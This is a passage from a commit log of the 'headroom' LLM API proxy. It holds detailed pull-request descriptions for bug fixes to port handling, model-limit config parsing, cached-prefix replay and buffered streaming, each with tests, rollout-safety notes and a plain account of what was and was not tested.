is an unrelated status-reporting concern that the reporter offered a
live repro for; it is left for a separate follow-up rather than bundled
here.
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature
- [ ] Breaking change
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)
## Changes Made
- `headroom/cli/install.py`: add `envvar="HEADROOM_PORT"` to the
`--port` option on both `install apply` and `deploy` (and note the env
var in each help string), matching `headroom proxy --port`.
- `tests/test_cli/test_install_cli.py`: added
`test_install_apply_honors_headroom_port_env`,
`test_install_apply_explicit_port_overrides_env`, and
`test_deploy_honors_headroom_port_env`, capturing the `port` that
reaches the manifest builder.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy`)
- [x] New tests added
### Test Output
```text
tests/test_cli/test_install_cli.py 40 passed
# uvx ruff@0.15.22 check -> All checks passed!
# uvx mypy@1.20.2 headroom/cli/install.py -> Success: no issues found in 1 source file
```
## Real Behavior Proof
- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.15.22 and mypy 1.20.2 via uvx.
- Exact command / steps: reverted the source fix and ran the two new
env-var tests to capture the bug (`python -m pytest
tests/test_cli/test_install_cli.py::test_install_apply_honors_headroom_port_env
tests/test_cli/test_install_cli.py::test_deploy_honors_headroom_port_env`
-> both failed with `assert 8787 == 8788`, proving `HEADROOM_PORT=8788`
was dropped); restored the fix; re-ran the full file (`python -m pytest
tests/test_cli/test_install_cli.py` -> 40 passed); then `uvx
ruff@0.15.22 format`, `uvx ruff@0.15.22 check`, and `uvx mypy@1.20.2
headroom/cli/install.py`.
- Observed result: with the fix, `HEADROOM_PORT=8788 headroom install
apply` (and `deploy`) resolves `port=8788` into `build_manifest`, so the
generated service config and `HEADROOM_PORT` base-env use 8788; passing
`--port 9999` alongside the env var still yields 9999.
- Not tested: an end-to-end persistent-service install on a machine with
a running supervisor (the CLI-to-manifest port resolution is verified
through the manifest builder, which already owns the downstream wiring
covered by the existing planner tests).
## Runtime Rollout Safety
- Rollout-managed feature(s): none. This is a CLI option-binding fix on
the install/deploy commands, not a rollout-channel-gated runtime
feature.
- Minimum rollout channel: N/A (no rollout-managed behavior).
- Stable/default behavior changed: only when `HEADROOM_PORT` is set in
the environment. Previously it was ignored (config wired to 8787); now
the install/deploy path honors it, matching `headroom proxy`. With no
`HEADROOM_PORT` set and no `--port`, the default is still 8787, so
existing installs are unaffected.
- Kill switch / disable path: unset `HEADROOM_PORT` (or pass `--port
8787`) to keep the prior port.
- Unsafe override required: no.
- Qualification impact: `install apply` / `deploy` now provision the
proxy on the operator's requested port instead of always 8787, so a
second instance or a port-conflict workaround configures correctly.
- Rollback path: revert this PR; the `--port` options return to ignoring
`HEADROOM_PORT`.
## Review Readiness
- [x] I have performed a self-review
- [x] This PR is ready for human review
## Checklist
- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`: it is generated by
release-please from my Conventional Commit PR title
## Additional Notes
Reported by @vsg-prog (split out of #3040 into #3072). The `--port`
option already carried the correct `type`/range validation and threaded
through the manifest builder; the only gap was the missing `envvar`
binding at the CLI boundary.
|
||
|
Abhay Singh
|
3ed8f76019
|
fix(providers): don't crash on a non-object HEADROOM_MODEL_LIMITS / models.json (#3089)
## Description
`_load_custom_model_config` in both `headroom/providers/anthropic.py`
and `headroom/providers/openai.py` loads the operator's custom model
configuration from `HEADROOM_MODEL_LIMITS` (a JSON string or a file
path) and `~/.headroom/models.json`, then reads it with
`loaded.get(...)`:
```python
loaded = json.loads(env_config) # or json.load(f)
anthropic_config = loaded.get("anthropic", loaded)
```
The `try` guards only `except (json.JSONDecodeError, OSError)`. When the
value is **valid JSON but not an object** (a JSON array, number, string,
bool, or `null`), `json.loads` succeeds and returns a non-dict, so
`loaded.get(...)` raises `AttributeError` — which is *not* one of the
caught types. Instead of the intended warn-and-fall-back-to-defaults, a
misconfigured `HEADROOM_MODEL_LIMITS` (e.g.
`HEADROOM_MODEL_LIMITS='[1,2,3]'` or `'"gpt-4"'`) crashes provider
initialization. The same gap exists in the `models.json` branch of both
providers.
## Fix
After each load, validate `isinstance(loaded, dict)` and raise
`ValueError` with a clear message, and broaden the handler from `except
(json.JSONDecodeError, OSError)` to `except (ValueError, OSError)`.
`json.JSONDecodeError` is a subclass of `ValueError`, so this strictly
supersets the previous handling: every previously-caught malformed value
still warns and falls back, and a valid-JSON-but-non-object value now
does too, instead of crashing.
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature
- [ ] Breaking change
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)
## Changes Made
- `headroom/providers/anthropic.py` and `headroom/providers/openai.py`
(`_load_custom_model_config`): add an `isinstance(loaded, dict)` guard
(raising `ValueError`) after the env-var load and after the
`models.json` load, and change both `except` clauses to `(ValueError,
OSError)`.
- `tests/test_provider_model_fallback.py`: added parametrized
`test_non_object_env_var_falls_back_to_defaults` (array / string /
number / bool / null) for both providers, and
`test_non_object_config_file_falls_back_to_defaults` for a non-object
`models.json`.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy`)
- [x] New tests added
### Test Output
```text
tests/test_provider_model_fallback.py 44 passed
# uvx ruff@0.15.22 check -> All checks passed!
# uvx mypy@1.20.2 headroom/providers/anthropic.py headroom/providers/openai.py -> Success: no issues found in 2 source files
```
## Real Behavior Proof
- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.15.22 and mypy 1.20.2 via uvx.
- Exact command / steps: reverted both providers and ran the new
regressions to capture the bug (`python -m pytest
tests/test_provider_model_fallback.py::TestAnthropicConfigLoading::test_non_object_env_var_falls_back_to_defaults
tests/test_provider_model_fallback.py::TestOpenAIConfigLoading::test_non_object_env_var_falls_back_to_defaults
tests/test_provider_model_fallback.py::TestAnthropicConfigLoading::test_non_object_config_file_falls_back_to_defaults`
-> 11 failed with `AttributeError` on `loaded.get` across the
array/string/number/bool/null shapes); restored the fix; re-ran the full
file (`python -m pytest tests/test_provider_model_fallback.py` -> 44
passed); then `uvx ruff@0.15.22 format`, `uvx ruff@0.15.22 check`, and
`uvx mypy@1.20.2` on both providers.
- Observed result: before the fix, `HEADROOM_MODEL_LIMITS='[1,2,3]'` (or
`'"gpt-4"'`, `'42'`, `'true'`, `'null'`) raised `AttributeError` out of
`_load_custom_model_config`; after the fix the same values log a warning
and the loader returns the default `{"context_limits": {}, "pricing":
{}[, "encodings": {}]}`, and a well-formed object config is unchanged.
- Not tested: a live proxy boot with a corrupt `HEADROOM_MODEL_LIMITS`
(the loader is exercised directly, which is the exact function provider
init calls).
## Runtime Rollout Safety
- Rollout-managed feature(s): none. This is defensive parsing in the
provider model-config loader, not a rollout-channel-gated runtime
feature.
- Minimum rollout channel: N/A (no rollout-managed behavior).
- Stable/default behavior changed: only for a previously-crashing input.
A non-object `HEADROOM_MODEL_LIMITS` / `models.json` now warns and uses
built-in defaults instead of raising. Well-formed object configs are
parsed exactly as before.
- Kill switch / disable path: N/A — remove or correct the malformed
config value to load custom limits.
- Unsafe override required: no.
- Qualification impact: a corrupt or mistyped model-limits value
degrades to built-in defaults with a warning rather than failing
provider init.
- Rollback path: revert this PR; the loader returns to catching only
`json.JSONDecodeError`/`OSError`.
## Review Readiness
- [x] I have performed a self-review
- [x] This PR is ready for human review
## Checklist
- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`: it is generated by
release-please from my Conventional Commit PR title
## Additional Notes
Both providers carry the same loader shape, so the guard and the widened
`except` are applied identically to keep them in sync. The message names
the offending source (`HEADROOM_MODEL_LIMITS` vs the resolved
config-file path) so the warning is actionable.
|
||
|
Tejas Chopra
|
0ec73faa28
|
fix(ccr): relay a successful upstream turn when post-processing fails (#3094)
## Description Closes #3088 The buffered CCR path flips a streaming turn to `stream: false` so a `headroom_retrieve` call can be resolved server-side. Everything it does *after* the provider answers — retrieval, memory tool calls, turn hooks, usage accounting, caching, SSE resynthesis — is post-processing layered on a turn that already succeeded and was already billed. When any of that raised, the entire turn surfaced to the client as a generic `api_error`. In the reported capture the provider returned a complete **69,351-byte** answer in 1.9s and the client received **1,841 bytes**: keepalives, then a synthesized failure. A paid-for response was discarded because a bookkeeping step downstream of it broke. **On the reporter's stated root cause:** the "≈30s compression timeout" inference does not hold. Their own log says *"[12 seconds later]"*, which matches 49 pings × the 0.25s post-commit interval, not 30s. And `COMPRESSION_TIMEOUT_SECONDS` guards `_count_offloaded`, which **fails open** to estimation and cannot propagate. So that correlation is a coincidence. **What actually raises is still unidentified**, and that is the second half of this report. The handler logged `f"Request failed: {type(e).__name__}: {e}"` with no `exc_info`, which is exactly why the reporter found "no visible traceback" — and why reading the entire post-upstream path (memory tool calls, `run_response_hooks`, CCR handling all catch internally) does not reveal it either. ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) ## Changes Made - Capture the upstream response the moment it parses as a 200, before any post-processing can touch it. - Wrap the buffered operation so an unexpected raise relays that captured response as SSE instead of a synthesized error. - Log the exception with `exc_info=True`. Salvaging **without** this would paper over the defect permanently; the goal is to stop losing user turns while making the real bug diagnosable. - Refuse to salvage a response the client cannot safely consume. A reply still carrying an unresolved `headroom_retrieve` call is exactly the case the handler already fails closed on — relaying it would hand the client a tool call it is not expected to service and a marker nobody expanded. The check reuses the existing `residual_ccr_status` / `has_ccr_tool_calls` signals rather than inventing a second notion of "safe". **This is containment, not root cause.** It converts a hard failure on a successful turn into a degraded success, and makes the underlying raise visible so it can be fixed properly. I have said so in the commit message too, so this is not mistaken for a full diagnosis later. ## Testing - [x] Unit tests pass (`pytest`) - [x] Linting passes (`ruff check .`) - [x] New tests added for new functionality - [x] Manual testing performed New `tests/test_buffered_ccr_salvage.py` covers the reported shape (thinking + text, and the captured `bash` tool_use turn with no retrieve call), that the healthy path is untouched, and that an unresolved retrieve call is never relayed. ### Test Output ```text # BEFORE (main) — the same test file reproduces the report exactly: E AssertionError: {"type": "error", "error": {"type": "api_error", "message": "An error occurred while processing your request. Please try again."}} E assert 502 == 200 # AFTER (this branch): $ pytest tests/test_buffered_ccr_salvage.py -q 8 passed, 1 warning in 2.94s $ pytest tests/ -q 3 failed, 11168 passed, 581 skipped in 421.26s (0:07:01) Same 3 failures as a clean-main baseline run on this machine: tests/test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline tests/test_release_workflows.py::test_no_native_tls_in_wheel_build_tree $ ruff check . && ruff format --check . All checks passed! ``` ## Real Behavior Proof - Environment: this branch driven through the real FastAPI app with a stubbed upstream returning a complete 200 turn; macOS arm64, Python 3.12. - Exact command / steps: posted a buffered CCR turn, then forced a post-upstream step to raise (`_record_request_outcome`), standing in for whatever breaks in the field; ran the identical test file against `main` and against this branch. - Observed result: on `main` the client gets HTTP 502 with the report's literal `api_error` string; on this branch the client gets HTTP 200 `text/event-stream` carrying the provider's own content (`message_start`, thinking, text / `toolu_bash`) and no invented error. - Not tested: the field defect itself. What raises in the reporter's environment is still unknown — that is what the added traceback logging exists to surface. A follow-up will need their logs on a build carrying this change. ## Runtime Rollout Safety - Rollout-managed feature(s): none — this guards an existing code path and is not behind a rollout channel. - Minimum rollout channel: n/a (ships to stable with the fix). - Stable/default behavior changed: yes, and only in the failure case. A buffered turn whose post-processing raises now returns the upstream's answer instead of a 502 `api_error`. Successful turns are byte-identical. - Kill switch / disable path: no new switch. The guard only engages on an exception that previously produced a hard failure, so disabling it would restore the bug. - Unsafe override required: no. - Qualification impact: none — no qualification-gated surface is touched. - Rollback path: revert this commit; the previous behavior (synthesized `api_error`) returns. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Checklist - [x] My code follows the project's style guidelines - [x] I have performed a self-review of my code - [x] I have commented my code, particularly in hard-to-understand areas - [x] My changes generate no new warnings - [x] I have added tests that prove my fix is effective or that my feature works - [x] New and existing unit tests pass locally with my changes - [x] I did **not** edit `CHANGELOG.md` ## Additional Notes Documentation update is marked N/A: no user-facing flag or endpoint changes. Type checking (`mypy headroom`) was not run separately; `ruff` is the gate this repo's CI enforces. Same family, still open: #3078, #3082, #3017, #2857, #2825. The added traceback is the fastest route to whether they share this root cause. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Rod Boev
|
c16be9bbbe
|
fix(proxy/anthropic): don't replay recorded prefix over live history (#3026) (#3052)
## Description A Claude Code session that reads a large tool result through `headroom proxy` can fail on turn 2 with Anthropic's `400 prompt_too_long`. The reporter's controlled comparison completed eight turns through 0.33.0 with 187,986 input tokens, while 0.35.0 failed after five requests with 753,077 input tokens. The local regression uses an actual prior optimized request to populate tracker state, then a decision-false bypass turn with Claude-shaped tool-result content. The old unconditional replay path substitutes the compressed prefix; the eligibility gate preserves the client's outbound body without claiming a live provider reproduction. The Anthropic `/v1/messages` route computes whether a request should be compressed, but cached-prefix replay currently runs outside that decision. The replay helper also derives its prefix length from the original message list and applies that index to the optimized list without proving the two lists still align. A stale forwarded prefix can therefore be grafted onto the wrong positions and enlarge later requests. This change limits replay to requests whose existing compression decision permits it and whose pre-upstream backpressure path is inactive. It also makes `overlay_cached_prefix()` decline misaligned or inflating candidates while preserving normal append-only replay. Reported by @itsumonotakumi, whose controlled comparison isolated the failure from compression, headers, one-request serialization, memory, code graph, and CCR. Closes #3026 ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) - [ ] New feature (non-breaking change that adds functionality) - [ ] Breaking change (fix or feature that would cause existing functionality to change) - [ ] Documentation update - [ ] Performance improvement - [ ] Code refactoring (no functional changes) ## Changes Made - Gate Anthropic cached-prefix replay on the existing `CompressionDecision.should_compress` result and the existing pre-upstream backpressure state. - Require positional alignment between optimized and original message arrays before replay. - Reject replay candidates that would serialize larger than the current optimized messages. - Add focused handler coverage for the decision-false tool-result regression, bypass and backpressure paths, and outbound optimize-on preservation. - Add direct unit coverage for positional mismatch, no-inflation, and JSON sizing-failure bailouts. - Update the moved-cache-control and pure-block-append regression fixtures to keep the no-inflation contract explicit. - Run the unchanged OpenAI cache-stability preservation proof; no OpenAI production code was edited. ## Testing - [x] Unit tests pass (153 focused proxy, helper, cache-control, block-append, cross-turn, byte-faithful, Anthropic, OpenAI, and backpressure tests) - [x] Linting passes (Ruff check and format validation on the seven changed repository files) - [ ] Type checking passes (`uv run mypy headroom`) - [x] New tests added for new functionality when applicable - [x] Manual testing performed with the in-process proxy and local stub upstream ### Test Output ```text python -m pytest tests/test_proxy/test_anthropic_no_optimize_history_passthrough.py tests/test_cache_prefix_overlay.py tests/test_cross_turn_cache_safety.py tests/test_cache_control_move_bust.py tests/test_proxy_byte_faithful_forwarding.py tests/test_proxy_anthropic_cache_stability.py tests/test_anthropic_pre_upstream_backpressure.py -q python -m pytest tests/test_proxy_openai_cache_stability.py -q python -m pytest tests/test_issue_2671_block_growth_cache.py::test_pure_append_replays_forwarded_blocks_and_advances_breakpoint -q 153 passed across focused invocations, exit code 0 optimize_off turn2_message_count=3 marker_count=1 outbound_compact_utf8_bytes=2293 client_compact_utf8_bytes=2293 optimize_on turn2_message_count=3 client_message_count=3 marker_count=0 outbound_compact_utf8_bytes=171 client_compact_utf8_bytes=182 python -m ruff check headroom/proxy/handlers/anthropic.py headroom/cache/prefix_tracker.py tests/test_proxy/test_anthropic_no_optimize_history_passthrough.py tests/test_cache_prefix_overlay.py tests/test_cache_control_move_bust.py tests/test_issue_2671_block_growth_cache.py tests/test_proxy_openai_cache_stability.py All checks passed!, exit code 0 python -m ruff format headroom/proxy/handlers/anthropic.py headroom/cache/prefix_tracker.py tests/test_proxy/test_anthropic_no_optimize_history_passthrough.py tests/test_cache_prefix_overlay.py tests/test_cache_control_move_bust.py tests/test_issue_2671_block_growth_cache.py tests/test_proxy_openai_cache_stability.py --check 7 files already formatted, exit code 0 git diff --check clean, exit code 0 ``` ## Real Behavior Proof - Environment: Windows 11, Python 3.12 via `uv`, real Headroom proxy app with a local stub Anthropic upstream - Exact command / steps: send an actual optimize-on first request through the in-process proxy with a deterministic production-pipeline seam, then send a decision-false bypass turn containing a large Claude-shaped `tool_result` with moved `cache_control`; separately send an aligned optimize-on turn with a new suffix - Observed result: the exact base checkout fails with `AssertionError: assert 'compressed-tool-result' == 'large-tool-result-marker ...'`; the guarded path passes with the client marker present once and outbound compact JSON no larger than the client body. The optimize-on preservation run records `optimize_on turn2_message_count=3 client_message_count=3 marker_count=0 outbound_compact_utf8_bytes=171 client_compact_utf8_bytes=182`, proving the actual compressed prefix is outbound before the new suffix without turn-2 growth. - Not tested: live Claude Code session against api.anthropic.com on this host ## Runtime Rollout Safety - Rollout-managed feature(s): none. - Minimum rollout channel: N/A. - Stable/default behavior changed: cached-prefix replay now follows the existing compression and backpressure decision and rejects misaligned or inflating candidates. - Kill switch / disable path: no new switch; the existing optimize and bypass controls remain available. - Unsafe override required: none. - Qualification impact: none. - Rollback path: revert the implementation commit. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Checklist - [x] My code follows the project's style guidelines - [x] I have performed a self-review of my code - [ ] I have commented my code, particularly in hard-to-understand areas - [ ] I have made corresponding changes to the documentation - [ ] My changes generate no new warnings - [x] I have added tests that prove my fix is effective or that my feature works - [x] New and existing unit tests pass locally with my changes ## Additional Notes `CHANGELOG.md` is not modified because Headroom's release automation generates it from conventional commits. This change does not add a context-limit guard or alter compression, streaming tracker provenance, outbound-body selection, OpenAI behavior, or provider limits. Local tests prove request-body ownership and replay bounds. The reporter's live Claude Code completion and Anthropic token acceptance remain external to this local proof. |
||
|
Tejas Chopra
|
c502087db7
|
fix(ccr): only buffer a stream when a marker is actually redeemable (#3092)
## Description Closes #3071 `headroom_retrieve` is injected once and kept resident for the session so the tools array stays byte-stable and the prompt cache survives. The buffered-CCR path keyed on that tool merely being **present**, so once a session went sticky, *every* later streaming turn was silently converted to `stream: false`, buffered whole, and resynthesized as SSE: ``` CCR: stream:true request has headroom_retrieve available; using buffered stream:false upstream request ``` Buffering leaves time-to-last-byte roughly unchanged but makes **time-to-first-byte the entire generation**. The reporter measured 8s average and up to 100s across 234 requests in one day — turns that would have streamed a first token in ~1s instead delivered nothing until done. Retrieval can only expand a `<<ccr:...>>` marker present in the outgoing body, so a turn carrying none cannot benefit from the buffered path at all. Gate on that instead of on the tool. This is also the root cause #3082 traced independently from the OpenCode side — its plugin registers `headroom_retrieve` unconditionally, so *every* turn buffered and neither `--no-ccr` nor `HEADROOM_NO_CCR` stopped it. ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) ## Changes Made - New `_outgoing_body_has_redeemable_marker()` scans the body **about to go on the wire** and verifies ownership against the compression store — the same `exists()` check the retrieve endpoint performs, so a same-shaped marker from another context tool is not adopted (#2836). Unexpected shapes answer `True`, keeping the long-standing behavior. - The buffered-stream decision site gates on it, and logs at INFO when it skips buffering. - The correctness detail worth reviewing: the check reads `body`, **not** the earlier `scan_for_markers(optimized_messages)` result. `optimized_messages` is reassigned five times after that scan (memory hooks, pre-send extensions, tool-search repair, CCR repair), so reusing it would have been stale. - Two existing test files encoded the very coupling this removes and had to be repaired — see Testing. Scope: this narrows *when* buffering happens; it does not make buffered turns stream. A turn that genuinely carries a marker still loses incremental delivery — restoring streaming there means wiring `StreamingCCRHandler`, which is #3069's scope. It does not fix #3088 either, whose requests do carry markers. ## Testing - [x] Unit tests pass (`pytest`) - [x] Linting passes (`ruff check .`) - [x] New tests added for new functionality - [x] Manual testing performed Two existing files built a request with `headroom_retrieve` and **no** marker, relying on the tool alone to trigger buffering: - `tests/test_proxy/test_anthropic_streaming_ccr_retrieve.py` (11 tests) fell through to the live streaming path, where only `_retry_request` is stubbed — so the requests reached the network and the file **hung indefinitely** rather than failing. Seeded real markers; now passes in ~5s. - `tests/test_proxy_response_cache_replay.py::test_buffered_ccr_turn_does_not_write_the_response_cache` asserts its own premise (*"the conversion really happened — otherwise this test proves nothing"*), so it failed loudly instead of passing vacuously. Seeded a marker. New `test_buffering_is_gated_on_a_redeemable_marker` pins all three directions: owned marker → buffered, no marker → streaming, foreign marker → streaming. ### Test Output ```text $ pytest tests/test_ccr_buffered_stream_signed_thinking.py -q 8 passed, 1 warning in 4.45s $ pytest tests/test_proxy/test_anthropic_streaming_ccr_retrieve.py -q 11 passed, 1 warning in 4.94s # was: hung indefinitely $ pytest tests/test_proxy_response_cache_replay.py -q 9 passed, 1 warning in 1.69s $ pytest tests/ -q 3 failed, 11151 passed, 581 skipped in 398.28s (0:06:38) Same 3 failures as a clean-main baseline run on this machine: tests/test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline tests/test_release_workflows.py::test_no_native_tls_in_wheel_build_tree $ ruff check . && ruff format --check . All checks passed! ``` ## Real Behavior Proof - Environment: this branch driven through the real FastAPI app with the outbound HTTP client captured; macOS arm64, Python 3.12. - Exact command / steps: posted a `stream: true` `/v1/messages` request carrying a resident `headroom_retrieve` tool in three variants — no marker, a marker seeded into the compression store, and a correctly-shaped marker the store does not own — recording whether `_retry_request` saw a `stream: false` body. - Observed result: no marker → **streams**, `_retry_request` never sees a flipped body; owned marker → **buffers**, exactly as before; foreign marker → streams, honoring #2836 rather than adopting another tool's hash. - Not tested: the latency improvement against live client traffic. The mechanism is verified (the buffered conversion no longer occurs), but the reported 8s → ~1s TTFB needs the reporter's traffic to confirm. ## Runtime Rollout Safety - Rollout-managed feature(s): none — this narrows an existing code path and is not behind a rollout channel. - Minimum rollout channel: n/a (ships to stable with the fix). - Stable/default behavior changed: yes. A streaming turn whose body carries no redeemable marker now stays streaming instead of being buffered. Turns carrying a marker are unchanged. - Kill switch / disable path: no new switch. Existing CCR controls still apply — disabling the CCR response handler bypasses this decision site entirely, and the helper fails open (returns `True`, i.e. the old behavior) on any unexpected message shape. - Unsafe override required: no. - Qualification impact: none — no qualification-gated surface is touched. - Rollback path: revert this commit. Note it also carries two test repairs; reverting the production change alone would leave those tests passing but vacuous. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Checklist - [x] My code follows the project's style guidelines - [x] I have performed a self-review of my code - [x] I have commented my code, particularly in hard-to-understand areas - [x] My changes generate no new warnings - [x] I have added tests that prove my fix is effective or that my feature works - [x] New and existing unit tests pass locally with my changes - [x] I did **not** edit `CHANGELOG.md` ## Additional Notes Documentation update is marked N/A: no user-facing flag or endpoint changes. Type checking (`mypy headroom`) was not run separately; `ruff` is the gate this repo's CI enforces. Related: #2836 (marker ownership), #3069 (streaming CCR handler), #3082, #3088. 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tejas Chopra
|
a29d2015e5
|
fix(proxy): restore the buffered-CCR heartbeat behind a grace window (#3091)
## Description Closes #3079 #2997 removed the buffered-CCR keepalive preamble from both provider handlers. That preamble was added by #2479 to close #2465, so `main` is back to the condition #2465 described while #2465 stays closed. Confirmed against the tags: ``` v0.35.0 (released): keepalive_deadline = loop.time() + 1.0 + b'event: ping...' main (-> 0.36.0): neither ``` Since #2997 is queued in #3067, 0.36.0 would ship this. The justification left in the code does not hold. It reads *"clients budget minutes for a turn (Claude Code sends `x-stainless-timeout: 600`), so waiting is free"* — but `x-stainless-timeout` is the **total request** budget, and #2465 was about the **stream idle** watchdog, a separate timer. Total-budget headroom says nothing about idle-budget headroom, and not every client sends 600. The reporter's buffered turns routinely run 15-25s, all of it silent. The status-ordering half of #2997 is correct and is kept. What was wrong was treating the two properties as a trade. ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) ## Changes Made - New `headroom/proxy/buffered_ccr_response.py` holding one implementation of the buffered-CCR ASGI wrapper. Both handlers previously carried ~100 duplicated lines each, which is how the OpenAI twin drifted from the Anthropic one; now only the error wire format differs. - A buffered turn holds out for `buffered_ccr_grace_seconds` before committing. Inside the window nothing is sent and the result is relayed untouched, so a fast 4xx — or a 429/529 that resolves once `_retry_request` has honored `Retry-After` — keeps its real status and headers. That is #2997's property. - Past the window the response is committed as SSE and a heartbeat starts, so a first byte always precedes the client's idle watchdog. That is #2479's property. - A failure landing after the commit can no longer carry an HTTP status, so it is translated into the provider's own **typed** SSE error (`rate_limit_error`, `overloaded_error`, ...) carrying the upstream's own message where there is one, rather than a generic `api_error`. **This is the part worth reviewing.** #2997 was right that early commits broke client backoff — but that was a consequence of degrading every post-commit failure to a bare `api_error`, not of committing itself. - New `buffered_ccr_grace_seconds` on `ProxyConfig`, default 5s, env `HEADROOM_BUFFERED_CCR_GRACE_SECONDS`. Setting it to `0` restores current `main` behavior exactly. ## Testing - [x] Unit tests pass (`pytest`) - [x] Linting passes (`ruff check .`) - [x] New tests added for new functionality - [x] Manual testing performed **#2997's own tests pass unchanged.** `test_buffered_ccr_preserves_late_failure_status_and_headers` and `test_buffered_ccr_withholds_output_until_delayed_upstream_resolves` resolve at 1.1s, comfortably inside the 5s window, so everything #2997 bought for the cases it tested is intact. New `tests/test_buffered_ccr_grace_window.py` pins both constraints @JerrettDavis asked for on #2959 — a late failure keeping its real status and headers, and a slow success producing a first byte before the ceiling — plus the typed-error mapping, the zero-grace escape hatch, and the OpenAI wire format. ### Test Output ```text $ pytest tests/test_buffered_ccr_grace_window.py -q 9 passed in 2.01s $ pytest tests/test_proxy/test_anthropic_streaming_ccr_retrieve.py tests/test_ccr_buffered_stream_signed_thinking.py -q 16 passed, 1 warning in 8.19s $ pytest tests/ -q 3 failed, 11157 passed, 581 skipped in 334.97s (0:05:34) Same 3 failures as a clean-main baseline run on this machine: tests/test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline tests/test_release_workflows.py::test_no_native_tls_in_wheel_build_tree (missing local `cargo` toolchain; a stale tool-name fixture; a logging test that loses to global-state pollution in a full run — all present on main.) $ ruff check . && ruff format --check . All checks passed! ``` ## Real Behavior Proof - Environment: this branch, the wrapper driven directly over ASGI with a stubbed buffered operation standing in for upstream; macOS arm64, Python 3.12. - Exact command / steps: drove three scenarios — a 429 resolving at 0.05s with a 5s window; a success released only after the window with a 0.1s window; a 429 resolving at 0.3s with a 0.05s window — recording every ASGI message sent. - Observed result: (1) client receives **HTTP 429** with `retry-after: 30` and zero bytes beforehand; (2) first byte (`200 text/event-stream` + ping) arrives **before** the upstream resolves, body follows intact; (3) committed 200, then `event: error` typed `rate_limit_error` carrying the upstream's own message rather than a generic one. - Not tested: a live client idle-timeout against a real 15-25s turn. #3079 notes this depends on whether the client's idle timer starts at request send or at first response byte — the grace window makes Headroom correct under either reading, but confirming the original symptom is gone needs the reporter's fleet. ## Runtime Rollout Safety - Rollout-managed feature(s): none — this is a fix to an existing code path, not behind a rollout channel. - Minimum rollout channel: n/a (ships to stable with the fix). - Stable/default behavior changed: yes. A buffered-CCR turn slower than 5s now emits SSE headers plus keepalives instead of staying silent. Turns resolving under 5s are byte-identical to current `main`. - Kill switch / disable path: `HEADROOM_BUFFERED_CCR_GRACE_SECONDS=0` restores current `main` behavior exactly (never commit early, no heartbeat). Covered by `test_a_zero_grace_window_never_commits_early`. - Unsafe override required: no. - Qualification impact: none — no qualification-gated surface is touched. - Rollback path: revert this commit, or set the env var to `0` without a redeploy of code. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Checklist - [x] My code follows the project's style guidelines - [x] I have performed a self-review of my code - [x] I have commented my code, particularly in hard-to-understand areas - [x] My changes generate no new warnings - [x] I have added tests that prove my fix is effective or that my feature works - [x] New and existing unit tests pass locally with my changes - [x] I did **not** edit `CHANGELOG.md` ## Additional Notes Documentation update is marked N/A: the new env var is documented in the module docstring and the `ProxyConfig` field comment, matching how `HEADROOM_ANTHROPIC_BUFFERED_REQUEST_TIMEOUT_SECONDS` is handled. Type checking (`mypy headroom`) was not run separately; `ruff` is the gate this repo's CI enforces. Related: #2465, #2479, #2959, #2968, #2997, #3067. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tejas Chopra
|
204e751d2f
|
fix(copilot): route VS Code inline completions to Copilot, not OpenAI (#3077)
